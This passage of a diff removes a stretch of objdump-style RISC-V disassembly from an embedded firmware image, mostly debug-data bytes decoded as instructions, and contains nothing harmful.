-    102a:	f300                	fsw	fs0,32(a4)
-    102c:	5a01                	li	s4,-32
-    102e:	009f 0000 0000      	0x9f
-    1034:	0000                	unimp
-    1036:	2000                	fld	fs0,0(s0)
-    1038:	2620402b          	0x2620402b
-    103c:	0120402b          	0x120402b
-    1040:	5a00                	lw	s0,48(a2)
-    1042:	2b26                	fld	fs6,72(sp)
-    1044:	2040                	fld	fs0,128(s0)
-    1046:	2b28                	fld	fa0,80(a4)
-    1048:	2040                	fld	fs0,128(s0)
-    104a:	0004                	0x4
-    104c:	9f5a01f3          	0x9f5a01f3
-	...
-    1058:	2b1c                	fld	fa5,16(a4)
-    105a:	2040                	fld	fs0,128(s0)
-    105c:	2b1e                	fld	fs6,448(sp)
-    105e:	2040                	fld	fs0,128(s0)
-    1060:	0001                	nop
-    1062:	1e5a                	slli	t3,t3,0x36
-    1064:	2020402b          	0x2020402b
-    1068:	0420402b          	0x420402b
-    106c:	f300                	fsw	fs0,32(a4)
-    106e:	5a01                	li	s4,-32
-    1070:	009f 0000 0000      	0x9f
-    1076:	0000                	unimp
-    1078:	0000                	unimp
-    107a:	0000                	unimp
-    107c:	1000                	addi	s0,sp,32
-    107e:	0000                	unimp
-    1080:	0600                	addi	s0,sp,768
-    1082:	5a00                	lw	s0,48(a2)
-    1084:	935b0493          	addi	s1,s6,-1739 # 204015d9 <flash+0x15d9>
-    1088:	1004                	addi	s1,sp,32
-    108a:	0000                	unimp
-    108c:	1a00                	addi	s0,sp,304
-    108e:	0000                	unimp
-    1090:	0600                	addi	s0,sp,768
-    1092:	f300                	fsw	fs0,32(a4)
-    1094:	250af503          	0x250af503
-    1098:	1a9f 0000 2200      	0x220000001a9f
-    109e:	0000                	unimp
-    10a0:	0600                	addi	s0,sp,768
-    10a2:	5a00                	lw	s0,48(a2)
-    10a4:	935b0493          	addi	s1,s6,-1739
-    10a8:	2204                	fld	fs1,0(a2)
-    10aa:	0000                	unimp
-    10ac:	2a00                	fld	fs0,16(a2)
-    10ae:	0000                	unimp
-    10b0:	0600                	addi	s0,sp,768
-    10b2:	f300                	fsw	fs0,32(a4)
-    10b4:	250af503          	0x250af503
-    10b8:	009f 0000 0000      	0x9f
-    10be:	0000                	unimp
-    10c0:	0800                	addi	s0,sp,16
-    10c2:	0000                	unimp
-    10c4:	1800                	addi	s0,sp,48
-    10c6:	0000                	unimp
-    10c8:	0100                	addi	s0,sp,128
-    10ca:	5f00                	lw	s0,56(a4)
-    10cc:	001a                	c.slli	zero,0x6
-    10ce:	0000                	unimp
-    10d0:	002a                	c.slli	zero,0xa
-    10d2:	0000                	unimp
-    10d4:	0001                	nop
-    10d6:	005f 0000 0000      	0x5f
-    10dc:	0000                	unimp
-    10de:	1a00                	addi	s0,sp,304
-    10e0:	0000                	unimp
-    10e2:	2600                	fld	fs0,8(a2)
-    10e4:	0000                	unimp
-    10e6:	0600                	addi	s0,sp,768
-    10e8:	7b00                	flw	fs0,48(a4)
-    10ea:	7f00                	flw	fs0,56(a4)
-    10ec:	2400                	fld	fs0,8(s0)
-    10ee:	009f 0000 0000      	0x9f
-    10f4:	0000                	unimp
-    10f6:	0000                	unimp
-    10f8:	0000                	unimp
-    10fa:	0800                	addi	s0,sp,16
-    10fc:	0000                	unimp
-    10fe:	0600                	addi	s0,sp,768
-    1100:	5a00                	lw	s0,48(a2)
-    1102:	935b0493          	addi	s1,s6,-1739
-    1106:	0804                	addi	s1,sp,16
-    1108:	0000                	unimp
-    110a:	6000                	flw	fs0,0(s0)
-    110c:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1110:	f300                	fsw	fs0,32(a4)
-    1112:	250af503          	0x250af503
-    1116:	009f 0000 0000      	0x9f
-    111c:	0000                	unimp
-    111e:	0000                	unimp
-    1120:	0000                	unimp
-    1122:	6000                	flw	fs0,0(s0)
-    1124:	0000                	unimp
-    1126:	0600                	addi	s0,sp,768
-    1128:	5c00                	lw	s0,56(s0)
-    112a:	935d0493          	addi	s1,s10,-1739 # 1c935 <__stack_size+0x1c135>
-    112e:	6004                	flw	fs1,0(s0)
-    1130:	0000                	unimp
-    1132:	c600                	sw	s0,8(a2)
-    1134:	0000                	unimp
-    1136:	0600                	addi	s0,sp,768
-    1138:	f300                	fsw	fs0,32(a4)
-    113a:	250cf503          	0x250cf503
-    113e:	c69f 0000 fa00      	0xfa000000c69f
-    1144:	0000                	unimp
-    1146:	0600                	addi	s0,sp,768
-    1148:	5c00                	lw	s0,56(s0)
-    114a:	935d0493          	addi	s1,s10,-1739
-    114e:	fa04                	fsw	fs1,48(a2)
-    1150:	0000                	unimp
-    1152:	7c00                	flw	fs0,56(s0)
-    1154:	0001                	nop
-    1156:	0600                	addi	s0,sp,768
-    1158:	f300                	fsw	fs0,32(a4)
-    115a:	250cf503          	0x250cf503
-    115e:	7c9f 0001 8a00      	0x8a0000017c9f
-    1164:	0001                	nop
-    1166:	0600                	addi	s0,sp,768
-    1168:	5c00                	lw	s0,56(s0)
-    116a:	935d0493          	addi	s1,s10,-1739
-    116e:	8a04                	0x8a04
-    1170:	0001                	nop
-    1172:	1600                	addi	s0,sp,800
-    1174:	0002                	c.slli64	zero
-    1176:	0600                	addi	s0,sp,768
-    1178:	f300                	fsw	fs0,32(a4)
-    117a:	250cf503          	0x250cf503
-    117e:	169f 0002 9000      	0x90000002169f
-    1184:	0002                	c.slli64	zero
-    1186:	0600                	addi	s0,sp,768
-    1188:	5c00                	lw	s0,56(s0)
-    118a:	935d0493          	addi	s1,s10,-1739
-    118e:	9004                	0x9004
-    1190:	0002                	c.slli64	zero
-    1192:	5a00                	lw	s0,48(a2)
-    1194:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1198:	f300                	fsw	fs0,32(a4)
-    119a:	250cf503          	0x250cf503
-    119e:	5a9f 0003 6000      	0x600000035a9f
-    11a4:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    11a8:	5c00                	lw	s0,56(s0)
-    11aa:	935d0493          	addi	s1,s10,-1739
-    11ae:	0004                	0x4
-    11b0:	0000                	unimp
-    11b2:	0000                	unimp
-    11b4:	0000                	unimp
-    11b6:	0200                	addi	s0,sp,256
-    11b8:	0000                	unimp
-    11ba:	7a00                	flw	fs0,48(a2)
-    11bc:	0001                	nop
-    11be:	0200                	addi	s0,sp,256
-    11c0:	3000                	fld	fs0,32(s0)
-    11c2:	7c9f 0001 6000      	0x600000017c9f
-    11c8:	02000003          	lb	zero,32(zero) # 20 <__stack_size-0x7e0>
-    11cc:	3000                	fld	fs0,32(s0)
-    11ce:	009f 0000 0000      	0x9f
-    11d4:	0000                	unimp
-    11d6:	0200                	addi	s0,sp,256
-    11d8:	0000                	unimp
-    11da:	1600                	addi	s0,sp,800
-    11dc:	0000                	unimp
-    11de:	0600                	addi	s0,sp,768
-    11e0:	5c00                	lw	s0,56(s0)
-    11e2:	935d0493          	addi	s1,s10,-1739
-    11e6:	1604                	addi	s1,sp,800
-    11e8:	0000                	unimp
-    11ea:	2a00                	fld	fs0,16(a2)
-    11ec:	0000                	unimp
-    11ee:	0600                	addi	s0,sp,768
-    11f0:	5c00                	lw	s0,56(s0)
-    11f2:	935a0493          	addi	s1,s4,-1739
-    11f6:	c604                	sw	s1,8(a2)
-    11f8:	0000                	unimp
-    11fa:	ca00                	sw	s0,16(a2)
-    11fc:	0000                	unimp
-    11fe:	0600                	addi	s0,sp,768
-    1200:	5c00                	lw	s0,56(s0)
-    1202:	935a0493          	addi	s1,s4,-1739
-    1206:	d404                	sw	s1,40(s0)
-    1208:	0000                	unimp
-    120a:	ec00                	fsw	fs0,24(s0)
-    120c:	0000                	unimp
-    120e:	0600                	addi	s0,sp,768
-    1210:	5c00                	lw	s0,56(s0)
-    1212:	935a0493          	addi	s1,s4,-1739
-    1216:	7c04                	flw	fs1,56(s0)
-    1218:	0001                	nop
-    121a:	8200                	0x8200
-    121c:	0001                	nop
-    121e:	0600                	addi	s0,sp,768
-    1220:	5c00                	lw	s0,56(s0)
-    1222:	935a0493          	addi	s1,s4,-1739
-    1226:	1604                	addi	s1,sp,800
-    1228:	0002                	c.slli64	zero
-    122a:	2e00                	fld	fs0,24(a2)
-    122c:	0002                	c.slli64	zero
-    122e:	0600                	addi	s0,sp,768
-    1230:	5c00                	lw	s0,56(s0)
-    1232:	935a0493          	addi	s1,s4,-1739
-    1236:	2e04                	fld	fs1,24(a2)
-    1238:	0002                	c.slli64	zero
-    123a:	5a00                	lw	s0,48(a2)
-    123c:	0002                	c.slli64	zero
-    123e:	0600                	addi	s0,sp,768
-    1240:	5c00                	lw	s0,56(s0)
-    1242:	935d0493          	addi	s1,s10,-1739
-    1246:	5a04                	lw	s1,48(a2)
-    1248:	0002                	c.slli64	zero
-    124a:	6800                	flw	fs0,16(s0)
-    124c:	0002                	c.slli64	zero
-    124e:	0600                	addi	s0,sp,768
-    1250:	5c00                	lw	s0,56(s0)
-    1252:	935a0493          	addi	s1,s4,-1739
-    1256:	6804                	flw	fs1,16(s0)
-    1258:	0002                	c.slli64	zero
-    125a:	7000                	flw	fs0,32(s0)
-    125c:	0002                	c.slli64	zero
-    125e:	0600                	addi	s0,sp,768
-    1260:	5c00                	lw	s0,56(s0)
-    1262:	935d0493          	addi	s1,s10,-1739
-    1266:	5a04                	lw	s1,48(a2)
-    1268:	5e000003          	lb	zero,1504(zero) # 5e0 <__stack_size-0x220>
-    126c:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1270:	5c00                	lw	s0,56(s0)
-    1272:	935a0493          	addi	s1,s4,-1739
-    1276:	5e04                	lw	s1,56(a2)
-    1278:	60000003          	lb	zero,1536(zero) # 600 <__stack_size-0x200>
-    127c:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1280:	5c00                	lw	s0,56(s0)
-    1282:	935d0493          	addi	s1,s10,-1739
-    1286:	0004                	0x4
-    1288:	0000                	unimp
-    128a:	0000                	unimp
-    128c:	0000                	unimp
-    128e:	0200                	addi	s0,sp,256
-    1290:	0000                	unimp
-    1292:	0800                	addi	s0,sp,16
-    1294:	0000                	unimp
-    1296:	0600                	addi	s0,sp,768
-    1298:	5a00                	lw	s0,48(a2)
-    129a:	935b0493          	addi	s1,s6,-1739
-    129e:	0804                	addi	s1,sp,16
-    12a0:	0000                	unimp
-    12a2:	4600                	lw	s0,8(a2)
-    12a4:	0000                	unimp
-    12a6:	0600                	addi	s0,sp,768
-    12a8:	6100                	flw	fs0,0(a0)
-    12aa:	935b0493          	addi	s1,s6,-1739
-    12ae:	4604                	lw	s1,8(a2)
-    12b0:	0000                	unimp
-    12b2:	5800                	lw	s0,48(s0)
-    12b4:	0000                	unimp
-    12b6:	0600                	addi	s0,sp,768
-    12b8:	6100                	flw	fs0,0(a0)
-    12ba:	935f0493          	addi	s1,t5,-1739
-    12be:	c604                	sw	s1,8(a2)
-    12c0:	0000                	unimp
-    12c2:	0a00                	addi	s0,sp,272
-    12c4:	0001                	nop
-    12c6:	0600                	addi	s0,sp,768
-    12c8:	5600                	lw	s0,40(a2)
-    12ca:	935b0493          	addi	s1,s6,-1739
-    12ce:	7c04                	flw	fs1,56(s0)
-    12d0:	0001                	nop
-    12d2:	9600                	0x9600
-    12d4:	0001                	nop
-    12d6:	0600                	addi	s0,sp,768
-    12d8:	5600                	lw	s0,40(a2)
-    12da:	935b0493          	addi	s1,s6,-1739
-    12de:	9604                	0x9604
-    12e0:	0001                	nop
-    12e2:	a200                	fsd	fs0,0(a2)
-    12e4:	0001                	nop
-    12e6:	0600                	addi	s0,sp,768
-    12e8:	6100                	flw	fs0,0(a0)
-    12ea:	935b0493          	addi	s1,s6,-1739
-    12ee:	1604                	addi	s1,sp,800
-    12f0:	0002                	c.slli64	zero
-    12f2:	2800                	fld	fs0,16(s0)
-    12f4:	0002                	c.slli64	zero
-    12f6:	0600                	addi	s0,sp,768
-    12f8:	5600                	lw	s0,40(a2)
-    12fa:	935b0493          	addi	s1,s6,-1739
-    12fe:	2804                	fld	fs1,16(s0)
-    1300:	0002                	c.slli64	zero
-    1302:	5a00                	lw	s0,48(a2)
-    1304:	0002                	c.slli64	zero
-    1306:	0600                	addi	s0,sp,768
-    1308:	5600                	lw	s0,40(a2)
-    130a:	935f0493          	addi	s1,t5,-1739
-    130e:	5a04                	lw	s1,48(a2)
-    1310:	0002                	c.slli64	zero
-    1312:	6000                	flw	fs0,0(s0)
-    1314:	0002                	c.slli64	zero
-    1316:	0600                	addi	s0,sp,768
-    1318:	5600                	lw	s0,40(a2)
-    131a:	935b0493          	addi	s1,s6,-1739
-    131e:	6004                	flw	fs1,0(s0)
-    1320:	0002                	c.slli64	zero
-    1322:	7800                	flw	fs0,48(s0)
-    1324:	0002                	c.slli64	zero
-    1326:	0600                	addi	s0,sp,768
-    1328:	5600                	lw	s0,40(a2)
-    132a:	935f0493          	addi	s1,t5,-1739
-    132e:	7804                	flw	fs1,48(s0)
-    1330:	0002                	c.slli64	zero
-    1332:	8400                	0x8400
-    1334:	0002                	c.slli64	zero
-    1336:	0600                	addi	s0,sp,768
-    1338:	6100                	flw	fs0,0(a0)
-    133a:	935f0493          	addi	s1,t5,-1739
-    133e:	5a04                	lw	s1,48(a2)
-    1340:	5c000003          	lb	zero,1472(zero) # 5c0 <__stack_size-0x240>
-    1344:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1348:	5600                	lw	s0,40(a2)
-    134a:	935b0493          	addi	s1,s6,-1739
-    134e:	5c04                	lw	s1,56(s0)
-    1350:	60000003          	lb	zero,1536(zero) # 600 <__stack_size-0x200>
-    1354:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1358:	5600                	lw	s0,40(a2)
-    135a:	935f0493          	addi	s1,t5,-1739
-    135e:	0004                	0x4
-    1360:	0000                	unimp
-    1362:	0000                	unimp
-    1364:	0000                	unimp
-    1366:	0600                	addi	s0,sp,768
-    1368:	0000                	unimp
-    136a:	4200                	lw	s0,0(a2)
-    136c:	0000                	unimp
-    136e:	0100                	addi	s0,sp,128
-    1370:	5c00                	lw	s0,56(s0)
-    1372:	0042                	c.slli	zero,0x10
-    1374:	0000                	unimp
-    1376:	004e                	c.slli	zero,0x13
-    1378:	0000                	unimp
-    137a:	0009                	c.nop	2
-    137c:	007c                	addi	a5,sp,12
-    137e:	007d                	c.nop	31
-    1380:	ff08                	fsw	fa0,56(a4)
-    1382:	241a                	fld	fs0,384(sp)
-    1384:	4e9f 0000 c200      	0xc20000004e9f
-    138a:	0000                	unimp
-    138c:	0100                	addi	s0,sp,128
-    138e:	6000                	flw	fs0,0(s0)
-    1390:	00c6                	slli	ra,ra,0x11
-    1392:	0000                	unimp
-    1394:	00d8                	addi	a4,sp,68
-    1396:	0000                	unimp
-    1398:	0001                	nop
-    139a:	d85c                	sw	a5,52(s0)
-    139c:	0000                	unimp
-    139e:	dc00                	sw	s0,56(s0)
-    13a0:	0000                	unimp
-    13a2:	0b00                	addi	s0,sp,400
-    13a4:	3100                	fld	fs0,32(a0)
-    13a6:	007c2cf7          	0x7c2cf7
-    13aa:	f71b2cf7          	0xf71b2cf7
-    13ae:	9f00                	0x9f00
-    13b0:	00dc                	addi	a5,sp,68
-    13b2:	0000                	unimp
-    13b4:	017a                	slli	sp,sp,0x1e
-    13b6:	0000                	unimp
-    13b8:	0001                	nop
-    13ba:	7c60                	flw	fs0,124(s0)
-    13bc:	0001                	nop
-    13be:	8a00                	0x8a00
-    13c0:	0001                	nop
-    13c2:	0100                	addi	s0,sp,128
-    13c4:	6000                	flw	fs0,0(s0)
-    13c6:	018a                	slli	gp,gp,0x2
-    13c8:	0000                	unimp
-    13ca:	018e                	slli	gp,gp,0x3
-    13cc:	0000                	unimp
-    13ce:	0009                	c.nop	2
-    13d0:	0080                	addi	s0,sp,64
-    13d2:	007d                	c.nop	31
-    13d4:	ff08                	fsw	fa0,56(a4)
-    13d6:	241a                	fld	fs0,384(sp)
-    13d8:	8e9f 0001 1600      	0x160000018e9f
-    13de:	0002                	c.slli64	zero
-    13e0:	0100                	addi	s0,sp,128
-    13e2:	6000                	flw	fs0,0(s0)
-    13e4:	0216                	slli	tp,tp,0x5
-    13e6:	0000                	unimp
-    13e8:	028c                	addi	a1,sp,320
-    13ea:	0000                	unimp
-    13ec:	0001                	nop
-    13ee:	8c5c                	0x8c5c
-    13f0:	0002                	c.slli64	zero
-    13f2:	1600                	addi	s0,sp,800
-    13f4:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    13f8:	6c00                	flw	fs0,24(s0)
-    13fa:	035a                	slli	t1,t1,0x16
-    13fc:	0000                	unimp
-    13fe:	0360                	addi	s0,sp,396
-    1400:	0000                	unimp
-    1402:	0001                	nop
-    1404:	005c                	addi	a5,sp,4
-    1406:	0000                	unimp
-    1408:	0000                	unimp
-    140a:	0000                	unimp
-    140c:	0800                	addi	s0,sp,16
-    140e:	0000                	unimp
-    1410:	1600                	addi	s0,sp,800
-    1412:	0000                	unimp
-    1414:	0100                	addi	s0,sp,128
-    1416:	5d00                	lw	s0,56(a0)
-    1418:	0016                	c.slli	zero,0x5
-    141a:	0000                	unimp
-    141c:	002a                	c.slli	zero,0xa
-    141e:	0000                	unimp
-    1420:	0001                	nop
-    1422:	c65a                	sw	s6,12(sp)
-    1424:	0000                	unimp
-    1426:	ca00                	sw	s0,16(a2)
-    1428:	0000                	unimp
-    142a:	0100                	addi	s0,sp,128
-    142c:	5a00                	lw	s0,48(a2)
-    142e:	00d4                	addi	a3,sp,68
-    1430:	0000                	unimp
-    1432:	00ec                	addi	a1,sp,76
-    1434:	0000                	unimp
-    1436:	0001                	nop
-    1438:	7c5a                	flw	fs8,180(sp)
-    143a:	0001                	nop
-    143c:	8200                	0x8200
-    143e:	0001                	nop
-    1440:	0100                	addi	s0,sp,128
-    1442:	5a00                	lw	s0,48(a2)
-    1444:	0216                	slli	tp,tp,0x5
-    1446:	0000                	unimp
-    1448:	022e                	slli	tp,tp,0xb
-    144a:	0000                	unimp
-    144c:	0001                	nop
-    144e:	2e5a                	fld	ft8,400(sp)
-    1450:	0002                	c.slli64	zero
-    1452:	5a00                	lw	s0,48(a2)
-    1454:	0002                	c.slli64	zero
-    1456:	0100                	addi	s0,sp,128
-    1458:	5d00                	lw	s0,56(a0)
-    145a:	025a                	slli	tp,tp,0x16
-    145c:	0000                	unimp
-    145e:	0268                	addi	a0,sp,268
-    1460:	0000                	unimp
-    1462:	0001                	nop
-    1464:	685a                	flw	fa6,148(sp)
-    1466:	0002                	c.slli64	zero
-    1468:	7000                	flw	fs0,32(s0)
-    146a:	0002                	c.slli64	zero
-    146c:	0100                	addi	s0,sp,128
-    146e:	5d00                	lw	s0,56(a0)
-    1470:	0274                	addi	a3,sp,268
-    1472:	0000                	unimp
-    1474:	0306                	slli	t1,t1,0x1
-    1476:	0000                	unimp
-    1478:	0001                	nop
-    147a:	5a60                	lw	s0,116(a2)
-    147c:	5e000003          	lb	zero,1504(zero) # 5e0 <__stack_size-0x220>
-    1480:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    1484:	5a00                	lw	s0,48(a2)
-    1486:	035e                	slli	t1,t1,0x17
-    1488:	0000                	unimp
-    148a:	0360                	addi	s0,sp,396
-    148c:	0000                	unimp
-    148e:	0001                	nop
-    1490:	005d                	c.nop	23
-    1492:	0000                	unimp
-    1494:	0000                	unimp
-    1496:	0000                	unimp
-    1498:	0a00                	addi	s0,sp,272
-    149a:	0000                	unimp
-    149c:	5400                	lw	s0,40(s0)
-    149e:	0000                	unimp
-    14a0:	0100                	addi	s0,sp,128
-    14a2:	6100                	flw	fs0,0(a0)
-    14a4:	0054                	addi	a3,sp,4
-    14a6:	0000                	unimp
-    14a8:	0094                	addi	a3,sp,64
-    14aa:	0000                	unimp
-    14ac:	0001                	nop
-    14ae:	c656                	sw	s5,12(sp)
-    14b0:	0000                	unimp
-    14b2:	4c00                	lw	s0,24(s0)
-    14b4:	0001                	nop
-    14b6:	0100                	addi	s0,sp,128
-    14b8:	5600                	lw	s0,40(a2)
-    14ba:	017c                	addi	a5,sp,140
-    14bc:	0000                	unimp
-    14be:	0196                	slli	gp,gp,0x5
-    14c0:	0000                	unimp
-    14c2:	0001                	nop
-    14c4:	9656                	add	a2,a2,s5
-    14c6:	0001                	nop
-    14c8:	a200                	fsd	fs0,0(a2)
-    14ca:	0001                	nop
-    14cc:	0100                	addi	s0,sp,128
-    14ce:	6100                	flw	fs0,0(a0)
-    14d0:	01a6                	slli	gp,gp,0x9
-    14d2:	0000                	unimp
-    14d4:	0278                	addi	a4,sp,268
-    14d6:	0000                	unimp
-    14d8:	0001                	nop
-    14da:	7856                	flw	fa6,116(sp)
-    14dc:	0002                	c.slli64	zero
-    14de:	9000                	0x9000
-    14e0:	0002                	c.slli64	zero
-    14e2:	0100                	addi	s0,sp,128
-    14e4:	6100                	flw	fs0,0(a0)
-    14e6:	0290                	addi	a2,sp,320
-    14e8:	0000                	unimp
-    14ea:	034e                	slli	t1,t1,0x13
-    14ec:	0000                	unimp
-    14ee:	0006                	c.slli	zero,0x1
-    14f0:	0081                	addi	ra,ra,0
-    14f2:	9f24007b          	0x9f24007b
-    14f6:	035a                	slli	t1,t1,0x16
-    14f8:	0000                	unimp
-    14fa:	0360                	addi	s0,sp,396
-    14fc:	0000                	unimp
-    14fe:	0001                	nop
-    1500:	0056                	c.slli	zero,0x15
-    1502:	0000                	unimp
-    1504:	0000                	unimp
-    1506:	0000                	unimp
-    1508:	0a00                	addi	s0,sp,272
-    150a:	0000                	unimp
-    150c:	4600                	lw	s0,8(a2)
-    150e:	0000                	unimp
-    1510:	0100                	addi	s0,sp,128
-    1512:	5b00                	lw	s0,48(a4)
-    1514:	0046                	c.slli	zero,0x11
-    1516:	0000                	unimp
-    1518:	0050                	addi	a2,sp,4
-    151a:	0000                	unimp
-    151c:	0001                	nop
-    151e:	505f 0000 7000      	0x70000000505f
-    1524:	0000                	unimp
-    1526:	0100                	addi	s0,sp,128
-    1528:	5b00                	lw	s0,48(a4)
-    152a:	00c6                	slli	ra,ra,0x11
-    152c:	0000                	unimp
-    152e:	0108                	addi	a0,sp,128
-    1530:	0000                	unimp
-    1532:	0001                	nop
-    1534:	0001085b          	0x1085b
-    1538:	2000                	fld	fs0,0(s0)
-    153a:	0001                	nop
-    153c:	0100                	addi	s0,sp,128
-    153e:	5f00                	lw	s0,56(a4)
-    1540:	017c                	addi	a5,sp,140
-    1542:	0000                	unimp
-    1544:	01a6                	slli	gp,gp,0x9
-    1546:	0000                	unimp
-    1548:	0001                	nop
-    154a:	0001a65b          	0x1a65b
-    154e:	e400                	fsw	fs0,8(s0)
-    1550:	0001                	nop
-    1552:	0100                	addi	s0,sp,128
-    1554:	5c00                	lw	s0,56(s0)
-    1556:	0214                	addi	a3,sp,256
-    1558:	0000                	unimp
-    155a:	0216                	slli	tp,tp,0x5
-    155c:	0000                	unimp
-    155e:	0001                	nop
-    1560:	165f 0002 2800      	0x28000002165f
-    1566:	0002                	c.slli64	zero
-    1568:	0100                	addi	s0,sp,128
-    156a:	5b00                	lw	s0,48(a4)
-    156c:	0228                	addi	a0,sp,264
-    156e:	0000                	unimp
-    1570:	025a                	slli	tp,tp,0x16
-    1572:	0000                	unimp
-    1574:	0001                	nop
-    1576:	5a5f 0002 6000      	0x600000025a5f
-    157c:	0002                	c.slli64	zero
-    157e:	0100                	addi	s0,sp,128
-    1580:	5b00                	lw	s0,48(a4)
-    1582:	0260                	addi	s0,sp,268
-    1584:	0000                	unimp
-    1586:	0284                	addi	s1,sp,320
-    1588:	0000                	unimp
-    158a:	0001                	nop
-    158c:	905f 0002 dc00      	0xdc000002905f
-    1592:	0002                	c.slli64	zero
-    1594:	0100                	addi	s0,sp,128
-    1596:	5c00                	lw	s0,56(s0)
-    1598:	030a                	slli	t1,t1,0x2
-    159a:	0000                	unimp
-    159c:	0340                	addi	s0,sp,388
-    159e:	0000                	unimp
-    15a0:	0001                	nop
-    15a2:	5a5f 0003 5c00      	0x5c0000035a5f
-    15a8:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    15ac:	5b00                	lw	s0,48(a4)
-    15ae:	035c                	addi	a5,sp,388
-    15b0:	0000                	unimp
-    15b2:	0360                	addi	s0,sp,396
-    15b4:	0000                	unimp
-    15b6:	0001                	nop
-    15b8:	005f 0000 0000      	0x5f
-    15be:	0000                	unimp
-    15c0:	9200                	0x9200
-    15c2:	0001                	nop
-    15c4:	b800                	fsd	fs0,48(s0)
-    15c6:	0001                	nop
-    15c8:	0100                	addi	s0,sp,128
-    15ca:	5a00                	lw	s0,48(a2)
-    15cc:	028c                	addi	a1,sp,320
-    15ce:	0000                	unimp
-    15d0:	029e                	slli	t0,t0,0x7
-    15d2:	0000                	unimp
-    15d4:	0001                	nop
-    15d6:	0056                	c.slli	zero,0x15
-    15d8:	0000                	unimp
-    15da:	0000                	unimp
-    15dc:	0000                	unimp
-    15de:	c200                	sw	s0,0(a2)
-    15e0:	0000                	unimp
-    15e2:	c600                	sw	s0,8(a2)
-    15e4:	0000                	unimp
-    15e6:	0100                	addi	s0,sp,128
-    15e8:	5a00                	lw	s0,48(a2)
-    15ea:	030a                	slli	t1,t1,0x2
-    15ec:	0000                	unimp
-    15ee:	035a                	slli	t1,t1,0x16
-    15f0:	0000                	unimp
-    15f2:	0001                	nop
-    15f4:	005a                	c.slli	zero,0x16
-    15f6:	0000                	unimp
-    15f8:	0000                	unimp
-    15fa:	0000                	unimp
-    15fc:	0800                	addi	s0,sp,16
-    15fe:	0001                	nop
-    1600:	0a00                	addi	s0,sp,272
-    1602:	0001                	nop
-    1604:	0200                	addi	s0,sp,256
-    1606:	3100                	fld	fs0,32(a0)
-    1608:	0a9f 0001 7a00      	0x7a0000010a9f
-    160e:	0001                	nop
-    1610:	0100                	addi	s0,sp,128
-    1612:	5b00                	lw	s0,48(a4)
-    1614:	0214                	addi	a3,sp,256
-    1616:	0000                	unimp
-    1618:	0216                	slli	tp,tp,0x5
-    161a:	0000                	unimp
-    161c:	0001                	nop
-    161e:	0000005b          	0x5b
-    1622:	0000                	unimp
-    1624:	0000                	unimp
-    1626:	8a00                	0x8a00
-    1628:	0001                	nop
-    162a:	9e00                	0x9e00
-    162c:	0001                	nop
-    162e:	0100                	addi	s0,sp,128
-    1630:	5e00                	lw	s0,56(a2)
-    1632:	0268                	addi	a0,sp,268
-    1634:	0000                	unimp
-    1636:	0288                	addi	a0,sp,320
-    1638:	0000                	unimp
-    163a:	0001                	nop
-    163c:	005e                	c.slli	zero,0x17
-    163e:	0000                	unimp
-    1640:	0000                	unimp
-    1642:	0000                	unimp
-    1644:	3e00                	fld	fs0,56(a2)
-    1646:	0000                	unimp
-    1648:	5c00                	lw	s0,56(s0)
-    164a:	0000                	unimp
-    164c:	0100                	addi	s0,sp,128
-    164e:	5d00                	lw	s0,56(a0)
-    1650:	0100                	addi	s0,sp,128
-    1652:	0000                	unimp
-    1654:	010a                	slli	sp,sp,0x2
-    1656:	0000                	unimp
-    1658:	0001                	nop
-    165a:	8a5d                	andi	a2,a2,23
-    165c:	0001                	nop
-    165e:	c000                	sw	s0,0(s0)
-    1660:	0001                	nop
-    1662:	0100                	addi	s0,sp,128
-    1664:	5d00                	lw	s0,56(a0)
-    1666:	0246                	slli	tp,tp,0x11
-    1668:	0000                	unimp
-    166a:	025a                	slli	tp,tp,0x16
-    166c:	0000                	unimp
-    166e:	0001                	nop
-    1670:	0002685b          	0x2685b
-    1674:	5200                	lw	s0,32(a2)
-    1676:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    167a:	5b00                	lw	s0,48(a4)
-	...
-    1684:	001a                	c.slli	zero,0x6
-    1686:	0000                	unimp
-    1688:	0042                	c.slli	zero,0x10
-    168a:	0000                	unimp
-    168c:	0001                	nop
-    168e:	425c                	lw	a5,4(a2)
-    1690:	0000                	unimp
-    1692:	4e00                	lw	s0,24(a2)
-    1694:	0000                	unimp
-    1696:	0900                	addi	s0,sp,144
-    1698:	7c00                	flw	fs0,56(s0)
-    169a:	7d00                	flw	fs0,56(a0)
-    169c:	0800                	addi	s0,sp,16
-    169e:	1aff                	0x1aff
-    16a0:	9f24                	0x9f24
-    16a2:	004e                	c.slli	zero,0x13
-    16a4:	0000                	unimp
-    16a6:	00c2                	slli	ra,ra,0x10
-    16a8:	0000                	unimp
-    16aa:	0001                	nop
-    16ac:	c660                	sw	s0,76(a2)
-    16ae:	0000                	unimp
-    16b0:	d400                	sw	s0,40(s0)
-    16b2:	0000                	unimp
-    16b4:	0100                	addi	s0,sp,128
-    16b6:	5c00                	lw	s0,56(s0)
-	...
-    16c0:	002a                	c.slli	zero,0xa
-    16c2:	0000                	unimp
-    16c4:	003a                	c.slli	zero,0xe
-    16c6:	0000                	unimp
-    16c8:	0001                	nop
-    16ca:	005e                	c.slli	zero,0x17
-    16cc:	0000                	unimp
-    16ce:	0000                	unimp
-    16d0:	0000                	unimp
-    16d2:	5800                	lw	s0,48(s0)
-    16d4:	0000                	unimp
-    16d6:	c200                	sw	s0,0(a2)
-    16d8:	0000                	unimp
-    16da:	0100                	addi	s0,sp,128
-    16dc:	6100                	flw	fs0,0(a0)
-	...
-    16e6:	0062                	c.slli	zero,0x18
-    16e8:	0000                	unimp
-    16ea:	00a8                	addi	a0,sp,72
-    16ec:	0000                	unimp
-    16ee:	0001                	nop
-    16f0:	a85c                	fsd	fa5,144(s0)
-    16f2:	0000                	unimp
-    16f4:	c200                	sw	s0,0(a2)
-    16f6:	0000                	unimp
-    16f8:	0700                	addi	s0,sp,896
-    16fa:	8000                	0x8000
